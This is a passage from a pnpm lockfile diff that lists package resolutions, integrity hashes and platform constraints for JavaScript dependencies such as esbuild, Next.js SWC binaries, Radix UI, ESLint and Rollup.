resolution: {integrity: sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==}+ requiresBuild: true+ dependencies:+ '@emnapi/wasi-threads': 1.2.1+ tslib: 2.8.1+ dev: true+ optional: true++ /@emnapi/[email protected]:+ resolution: {integrity: sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==}+ requiresBuild: true+ dependencies:+ tslib: 2.8.1+ dev: true+ optional: true++ /@emnapi/[email protected]:+ resolution: {integrity: sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==}+ requiresBuild: true+ dependencies:+ tslib: 2.8.1+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==}+ engines: {node: '>=18'}+ cpu: [ppc64]+ os: [aix]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==}+ engines: {node: '>=18'}+ cpu: [arm]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [freebsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [freebsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==}+ engines: {node: '>=18'}+ cpu: [arm]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==}+ engines: {node: '>=18'}+ cpu: [ia32]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==}+ engines: {node: '>=18'}+ cpu: [loong64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==}+ engines: {node: '>=18'}+ cpu: [mips64el]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==}+ engines: {node: '>=18'}+ cpu: [ppc64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==}+ engines: {node: '>=18'}+ cpu: [riscv64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==}+ engines: {node: '>=18'}+ cpu: [s390x]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [netbsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [netbsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [openbsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [openbsd]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [openharmony]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [sunos]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==}+ engines: {node: '>=18'}+ cpu: [arm64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==}+ engines: {node: '>=18'}+ cpu: [ia32]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@esbuild/[email protected]:+ resolution: {integrity: sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==}+ engines: {node: '>=18'}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: true+ optional: true++ /@eslint-community/[email protected]([email protected]):+ resolution: {integrity: sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ peerDependencies:+ eslint: ^6.0.0 || ^7.0.0 || >=8.0.0+ dependencies:+ eslint: 8.57.1+ eslint-visitor-keys: 3.4.3+ dev: true++ /@eslint-community/[email protected]:+ resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==}+ engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0}+ dev: true++ /@eslint/[email protected]:+ resolution: {integrity: sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ dependencies:+ ajv: 6.15.0+ debug: 4.4.3+ espree: 9.6.1+ globals: 13.24.0+ ignore: 5.3.2+ import-fresh: 3.3.1+ js-yaml: 4.1.1+ minimatch: 3.1.5+ strip-json-comments: 3.1.1+ transitivePeerDependencies:+ - supports-color+ dev: true++ /@eslint/[email protected]:+ resolution: {integrity: sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ dev: true++ /@humanwhocodes/[email protected]:+ resolution: {integrity: sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==}+ engines: {node: '>=10.10.0'}+ deprecated: Use @eslint/config-array instead+ dependencies:+ '@humanwhocodes/object-schema': 2.0.3+ debug: 4.4.3+ minimatch: 3.1.5+ transitivePeerDependencies:+ - supports-color+ dev: true++ /@humanwhocodes/[email protected]:+ resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==}+ engines: {node: '>=12.22'}+ dev: true++ /@humanwhocodes/[email protected]:+ resolution: {integrity: sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==}+ deprecated: Use @eslint/object-schema instead+ dev: true++ /@isaacs/[email protected]:+ resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==}+ engines: {node: '>=12'}+ dependencies:+ string-width: 5.1.2+ string-width-cjs: /[email protected]+ strip-ansi: 7.2.0+ strip-ansi-cjs: /[email protected]+ wrap-ansi: 8.1.0+ wrap-ansi-cjs: /[email protected]+ dev: true++ /@jridgewell/[email protected]:+ resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==}+ dependencies:+ '@jridgewell/sourcemap-codec': 1.5.5+ '@jridgewell/trace-mapping': 0.3.31+ dev: true++ /@jridgewell/[email protected]:+ resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==}+ engines: {node: '>=6.0.0'}+ dev: true++ /@jridgewell/[email protected]:+ resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==}+ dev: true++ /@jridgewell/[email protected]:+ resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==}+ dependencies:+ '@jridgewell/resolve-uri': 3.1.2+ '@jridgewell/sourcemap-codec': 1.5.5+ dev: true++ /@monaco-editor/[email protected]:+ resolution: {integrity: sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==}+ dependencies:+ state-local: 1.0.7+ dev: false++ resolution: {integrity: sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==}+ peerDependencies:+ monaco-editor: '>= 0.25.0 < 1'+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ dependencies:+ '@monaco-editor/loader': 1.7.0+ monaco-editor: 0.55.1+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ /@napi-rs/[email protected]:+ resolution: {integrity: sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==}+ requiresBuild: true+ dependencies:+ '@emnapi/core': 1.10.0+ '@emnapi/runtime': 1.10.0+ '@tybys/wasm-util': 0.10.1+ dev: true+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-Py8zIo+02ht82brwwhTg36iogzFqGLPXlRGKQw5s+qP/kMNc4MAyDeEwBKDijk6zTIbegEgu8Qy7C1LboslQAw==}+ dev: false++ /@next/[email protected]:+ resolution: {integrity: sha512-x4FavbNEeXx/baD/zC/SdrvkjSby8nBn8KcCREqk6UuwvwoAPZmaV8TFCAuo/cpovBRTIY67mHhe86MQQm/68Q==}+ dependencies:+ glob: 10.3.10+ dev: true++ /@next/[email protected]:+ resolution: {integrity: sha512-nUDn7TOGcIeyQni6lZHfzNoo9S0euXnu0jhsbMOmMJUBfgsnESdjN97kM7cBqQxZa8L/bM9om/S5/1dzCrW6wQ==}+ engines: {node: '>= 10'}+ cpu: [arm64]+ os: [darwin]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-1jgudN5haWxiAl3O1ljUS2GfupPmcftu2RYJqZiMJmmbBT5M1XDffjUtRUzP4W3cBHsrvkfOFdQ71hAreNQP6g==}+ engines: {node: '>= 10'}+ cpu: [x64]+ os: [darwin]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-RHo7Tcj+jllXUbK7xk2NyIDod3YcCPDZxj1WLIYxd709BQ7WuRYl3OWUNG+WUfqeQBds6kvZYlc42NJJTNi4tQ==}+ engines: {node: '>= 10'}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-v6kP8sHYxjO8RwHmWMJSq7VZP2nYCkRVQ0qolh2l6xroe9QjbgV8siTbduED4u0hlk0+tjS6/Tuy4n5XCp+l6g==}+ engines: {node: '>= 10'}+ cpu: [arm64]+ os: [linux]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-zJ2pnoFYB1F4vmEVlb/eSe+VH679zT1VdXlZKX+pE66grOgjmKJHKacf82g/sWE4MQ4Rk2FMBCRnX+l6/TVYzQ==}+ engines: {node: '>= 10'}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-rbaIYFt2X9YZBSbH/CwGAjbBG2/MrACCVu2X0+kSykHzHnYH5FjHxwXLkcoJ10cX0aWCEynpu+rP76x0914atg==}+ engines: {node: '>= 10'}+ cpu: [x64]+ os: [linux]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-o1N5TsYc8f/HpGt39OUQpQ9AKIGApd3QLueu7hXk//2xq5Z9OxmV6sQfNp8C7qYmiOlHYODOGqNNa0e9jvchGQ==}+ engines: {node: '>= 10'}+ cpu: [arm64]+ os: [win32]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-XXIuB1DBRCFwNO6EEzCTMHT5pauwaSj4SWs7CYnME57eaReAKBXCnkUE80p/pAZcewm7hs+vGvNqDPacEXHVkw==}+ engines: {node: '>= 10'}+ cpu: [ia32]+ os: [win32]+ requiresBuild: true+ dev: false+ optional: true++ /@next/[email protected]:+ resolution: {integrity: sha512-9WEbVRRAqJ3YFVqEZIxUqkiO8l1nool1LmNxygr5HWF8AcSYsEpneUDhmjUVJEzO2A04+oPtZdombzzPPkTtgg==}+ engines: {node: '>= 10'}+ cpu: [x64]+ os: [win32]+ requiresBuild: true+ dev: false+ optional: true++ /@nodelib/[email protected]:+ resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}+ engines: {node: '>= 8'}+ dependencies:+ '@nodelib/fs.stat': 2.0.5+ run-parallel: 1.2.0+ dev: true++ /@nodelib/[email protected]:+ resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}+ engines: {node: '>= 8'}+ dev: true++ /@nodelib/[email protected]:+ resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}+ engines: {node: '>= 8'}+ dependencies:+ '@nodelib/fs.scandir': 2.1.5+ fastq: 1.20.1+ dev: true++ /@nolyfill/[email protected]:+ resolution: {integrity: sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==}+ engines: {node: '>=12.4.0'}+ dev: true++ /@pkgjs/[email protected]:+ resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==}+ engines: {node: '>=14'}+ requiresBuild: true+ dev: true+ optional: true++ /@radix-ui/[email protected]:+ resolution: {integrity: sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA==}+ dependencies:+ '@babel/runtime': 7.29.2+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ react: 18.3.1+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-Yn9YU+QlHYLWwV1XfKiqnGVpWYWk6MeBVM6x/bcoyPvxgjQGoeT35482viLPctTMWoMw0PoHgqfSox7Ig+957Q==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/primitive': 1.0.0+ '@radix-ui/react-compose-refs': 1.0.0([email protected])+ '@radix-ui/react-context': 1.0.0([email protected])+ '@radix-ui/react-dismissable-layer': 1.0.0([email protected])([email protected])+ '@radix-ui/react-focus-guards': 1.0.0([email protected])+ '@radix-ui/react-focus-scope': 1.0.0([email protected])([email protected])+ '@radix-ui/react-id': 1.0.0([email protected])+ '@radix-ui/react-portal': 1.0.0([email protected])([email protected])+ '@radix-ui/react-presence': 1.0.0([email protected])([email protected])+ '@radix-ui/react-primitive': 1.0.0([email protected])([email protected])+ '@radix-ui/react-slot': 1.0.0([email protected])+ '@radix-ui/react-use-controllable-state': 1.0.0([email protected])+ aria-hidden: 1.2.6+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ react-remove-scroll: 2.5.4(@types/[email protected])([email protected])+ transitivePeerDependencies:+ - '@types/react'+ dev: false++ resolution: {integrity: sha512-n7kDRfx+LB1zLueRDvZ1Pd0bxdJWDUZNQ/GWoxDn2prnuJKRdxsjulejX/ePkOsLi2tTm6P24mDqlMSgQpsT6g==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/primitive': 1.0.0+ '@radix-ui/react-compose-refs': 1.0.0([email protected])+ '@radix-ui/react-primitive': 1.0.0([email protected])([email protected])+ '@radix-ui/react-use-callback-ref': 1.0.0([email protected])+ '@radix-ui/react-use-escape-keydown': 1.0.0([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-UagjDk4ijOAnGu4WMUPj9ahi7/zJJqNZ9ZAiGPp7waUWJO0O1aWXi/udPphI0IUjvrhBsZJGSN66dR2dsueLWQ==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-C4SWtsULLGf/2L4oGeIHlvWQx7Rf+7cX/vKOAD2dXW0A1b5QXwi3wWeaEgW+wn+SEVrraMUk05vLU9fZZz5HbQ==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-compose-refs': 1.0.0([email protected])+ '@radix-ui/react-primitive': 1.0.0([email protected])([email protected])+ '@radix-ui/react-use-callback-ref': 1.0.0([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-Q6iAB/U7Tq3NTolBBQbHTgclPmGWE3OlktGGqrClPozSw4vkQ1DfQAOtzgRPecKsMdJINE05iaoDUG8tRzCBjw==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-use-layout-effect': 1.0.0([email protected])+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-a8qyFO/Xb99d8wQdu4o7qnigNjTPG123uADNecz0eX4usnQEj7o+cG4ZX4zkqq98NYekT7UoEQIjxBNWIFuqTA==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-primitive': 1.0.0([email protected])([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ resolution: {integrity: sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-compose-refs': 1.0.0([email protected])+ '@radix-ui/react-use-layout-effect': 1.0.0([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ resolution: {integrity: sha512-EyXe6mnRlHZ8b6f4ilTDrXmkLShICIuOTTj0GX4w1rp+wSxf3+TD05u1UOITC8VsJ2a9nwHvdXtOXEOl0Cw/zQ==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ react-dom: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-slot': 1.0.0([email protected])+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-3mrKauI/tWXo1Ll+gN5dHcxDPdm/Df1ufcDLCecn+pnCIVcdWE7CujXo8QaXOWRJyZyQWWbpB8eFwHzWXlv5mQ==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-compose-refs': 1.0.0([email protected])+ react: 18.3.1+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ react: 18.3.1+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-FohDoZvk3mEXh9AWAVyRTYR4Sq7/gavuofglmiXB2g1aKyboUD4YtgWxKj8O5n+Uak52gXQ4wKz5IFST4vtJHg==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-use-callback-ref': 1.0.0([email protected])+ react: 18.3.1+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-JwfBCUIfhXRxKExgIqGa4CQsiMemo1Xt0W/B4ei3fpzpvPENKpMKQ8mZSB6Acj3ebrAEgi2xiQvcI1PAAodvyg==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ '@radix-ui/react-use-callback-ref': 1.0.0([email protected])+ react: 18.3.1+ dev: false++ /@radix-ui/[email protected]([email protected]):+ resolution: {integrity: sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ==}+ peerDependencies:+ react: ^16.8 || ^17.0 || ^18.0+ dependencies:+ '@babel/runtime': 7.29.2+ react: 18.3.1+ dev: false++ /@rollup/[email protected]:+ resolution: {integrity: sha512-dnlp69efPPg6Uaw2dVqzWRfAWRnYVb1XJ8CyyhIbZeaq4CA5/mLeZ1IEt9QqQxmbdvagjLIm2ZL8BxXv5lH4Yw==}+ cpu: [arm]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-OqZTwDRDchGRHHm/hwLOL7uVPB9aUvI0am/eQuWMNyFHf5PSEQmyEeYYheA0EPPKUO/l0uigCp+iaTjoLjVoHg==}+ cpu: [arm64]+ os: [android]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-UwRE7CGpvSVEQS8gUMBe1uADWjNnVgP3Iusyda1nSRwNDCsRjnGc7w6El6WLQsXmZTbLZx9cecegumcitNfpmA==}+ cpu: [arm64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: sha512-gjEtURKLCC5VXm1I+2i1u9OhxFsKAQJKTVB8WvDAHF+oZlq0GTVFOlTlO1q3AlCTE/DF32c16ESvfgqR7343/g==}+ cpu: [x64]+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ /@rollup/[email protected]:+ resolution: {integrity: 